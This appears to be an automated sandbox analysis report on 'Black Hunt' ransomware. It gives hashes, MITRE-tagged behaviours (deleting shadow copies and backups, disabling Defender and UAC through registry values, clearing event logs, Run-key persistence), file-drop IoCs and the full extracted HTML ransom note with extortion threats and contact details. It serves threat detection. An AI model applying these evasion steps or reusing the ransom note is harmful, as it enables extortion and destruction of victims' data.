2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be

Analysis

max time kernel
118s
max time network
124s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
18/01/2024, 22:10

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General

Target

2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
Size

707KB
MD5

757a3aba290567376fa0b21fc14656e0
SHA1

f511eceb9f89291dead1bc39f3de9182edfbef99
SHA256

2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be
SHA512

6f59a10a37aea79537cc79e919b33b4afc17f0eef90a8cdd819ee19e55c95f75c03f388eecb6477085607e485eaff46c2c66475eb7cd5627335acb533e149bf9
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1C85vnh:6uaTmkZJ+naie5OTamgEoKxLW59h

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> 6PyiVhonMsQooAtB </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
1164	fsutil.exe
1108	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
960	wevtutil.exe
1604	wevtutil.exe
1240	wevtutil.exe
544	wevtutil.exe
1816	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
568	bcdedit.exe
1620	bcdedit.exe
2856	bcdedit.exe
1032	bcdedit.exe

Renames multiple (2872) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2816	wbadmin.exe
1104	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
2656	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\B:	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened (read-only)	\??\N:	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Q:	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened (read-only)	\??\R:	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened (read-only)	\??\O:	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened (read-only)	\??\V:	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened (read-only)	\??\W:	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened (read-only)	\??\E:	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened (read-only)	\??\U:	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened (read-only)	\??\P:	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened (read-only)	\??\I:	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened (read-only)	\??\G:	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened (read-only)	\??\K:	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened (read-only)	\??\Z:	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened (read-only)	\??\Y:	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened (read-only)	\??\A:	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened (read-only)	\??\H:	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\S:	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened (read-only)	\??\J:	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened (read-only)	\??\L:	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened (read-only)	\??\M:	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened (read-only)	\??\T:	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened (read-only)	\??\X:	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_photo_Thumbnail.bmp	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\CET	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ja\#BlackHunt_ReadMe.hta	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened for modification	C:\Program Files\AddResolve.AAC	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Montevideo	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn\#BlackHunt_Private.key	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\#BlackHunt_ReadMe.hta	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened for modification	C:\Program Files\7-Zip\Lang\an.txt	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\winXPHandle.png	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened for modification	C:\Program Files\Java\jre7\lib\psfont.properties.ja	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sk\LC_MESSAGES\#BlackHunt_Private.key	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ug\LC_MESSAGES\#BlackHunt_ReadMe.txt	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File created	C:\Program Files\VideoLAN\VLC\lua\extensions\#BlackHunt_ReadMe.txt	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\#BlackHunt_ReadMe.hta	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Hebron	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened for modification	C:\Program Files\WaitConvert.ini	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Atlantic\Reykjavik	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Singapore	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Tahiti	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-attach.xml	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File created	C:\Program Files\VideoLAN\VLC\locale\af\#BlackHunt_ReadMe.txt	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Setup Files\{AC76BA86-7AD7-1033-7B44-A90000000001}\abcpy.ini	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Tijuana	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\Cocos	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
